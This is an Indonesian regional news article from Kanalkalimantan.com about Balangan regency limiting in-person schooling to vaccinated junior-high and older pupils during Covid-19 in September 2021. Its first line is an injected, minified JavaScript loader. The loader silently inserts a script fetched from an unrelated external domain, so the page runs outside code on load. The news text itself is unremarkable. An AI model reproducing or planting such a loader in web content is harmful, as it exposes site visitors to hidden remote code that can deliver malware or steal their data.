(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Rencana pelaksanaan Pembelajaran Tatap Muka (PTM) di Kabupaten Balangan benar-benar dipersiapkan secara ketat, hal ini bertujuan untuk menghindari munculnya kasus baru Covid-19 cluster PTM.
Mengantisipasi hal tersebut, Satgas Covid-19 Kabupaten Balangan bersama Dinas Pendidikan dan stakeholder terkait kembali melaksanakan rapat koordinasi terkait rencana pelaksanaan PTM tersebut.
Sekretaris Satgas Covid-19 Kabupaten Balangan H Rahmi mengatakan, pada prinsipnya pihaknya mendukung pelaksanaan PTM, karena sudah lama kegiatan pembelajaran di sekolah tidak dilaksanakan akibat hantaman pandemi covid-19.
“Dengan keadaan demikian kita juga tidak bisa memaksakan kehendak, karena ini demi keamanan dan keselamatan jiwa dari peserta didik, sehingga rencana pelaksanaan PTM harus benar-benar maksimal, oleh karena itu meski diperbolehkan melaksanakan PTM dilevel 3 ini, serta pihak Disdik sudah menyatakan siap, namun dalam rangka kewaspadaan dini pihak Satgas membatasi pelaksanaan PTM,” jelasnya, Rabu (8/9/2021).
Lebih lanjut, H Rahmi yang juga sebagai Plt Kepala BPBD Balangan ini mengungkapkan, pembatasan pelaksanaan PTM ini dilakukan dengan syarat peserta didik harus sudah dilakukan vaksinasi, artinya peserta didik yang diusia sudah boleh divaksin yaitu tingkat SLTP ke atas akan diperbolehkan melaksanakan PTM.
Baca juga : KPAI: Belajar Tatap Muka di Sekolah untuk Praktik dan Bahas Pelajaran Sulit
Menurutnya, jumlah yang diusulkan PTM dari Disdik ada sekitar 26 sekolah di berbagai kecamatan dan berbagai jenjang, namun berdasarkan hasil saran dari satgas dan juga sudah disetujui bupati pelaksanaan PTM akan diprioritaskan bagi jenjang SLTP keatas untuk memulai PTM.
“Dalam beberapa hari nanti akan kita siapkan vaksinasi bagi peserta didik yang akan melaksanakan PTM, jika nanti semuanya sudah siap, maka minggu depan pelaksanaan PTM bisa dilaksanakan dengan syarat tenaga pengajar dan peserta didiknya sudah menjalani vaksin, serta menjalankan prokes ketat,” katanya.
Terkait vaksinasi peserta didik dari Dinas Kesehatan ujar H Rahmi, siap melakukan jemput bola kesekolah, dan bagi orang tua peserta didik yang ingin melakukan vaksin pihak Dinkes siap juga melayani.
Sementara itu, PTM tingkat SD dan TK masih ditunda dulu, karena saat ini pemerintah fokus melaksanakan vaksinasi peserta didik yang akan menggelar pelaksanaan PTM. Hal demikian dilakukan demi upaya maksimal untuk mencegah claster baru kasus covid-19.
“Kami berharap dukungan dari masyarakat, orang tua, peserta didik dan pihak lainnya kepada pemerintah yang saat ini tengah berupaya dan berikhtiar untuk menekan kasus covid-19 di Balangan,” pungkasnya.(Kanalkalimantan.com/alfi)
Reporter : alfi
Editor : cell
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.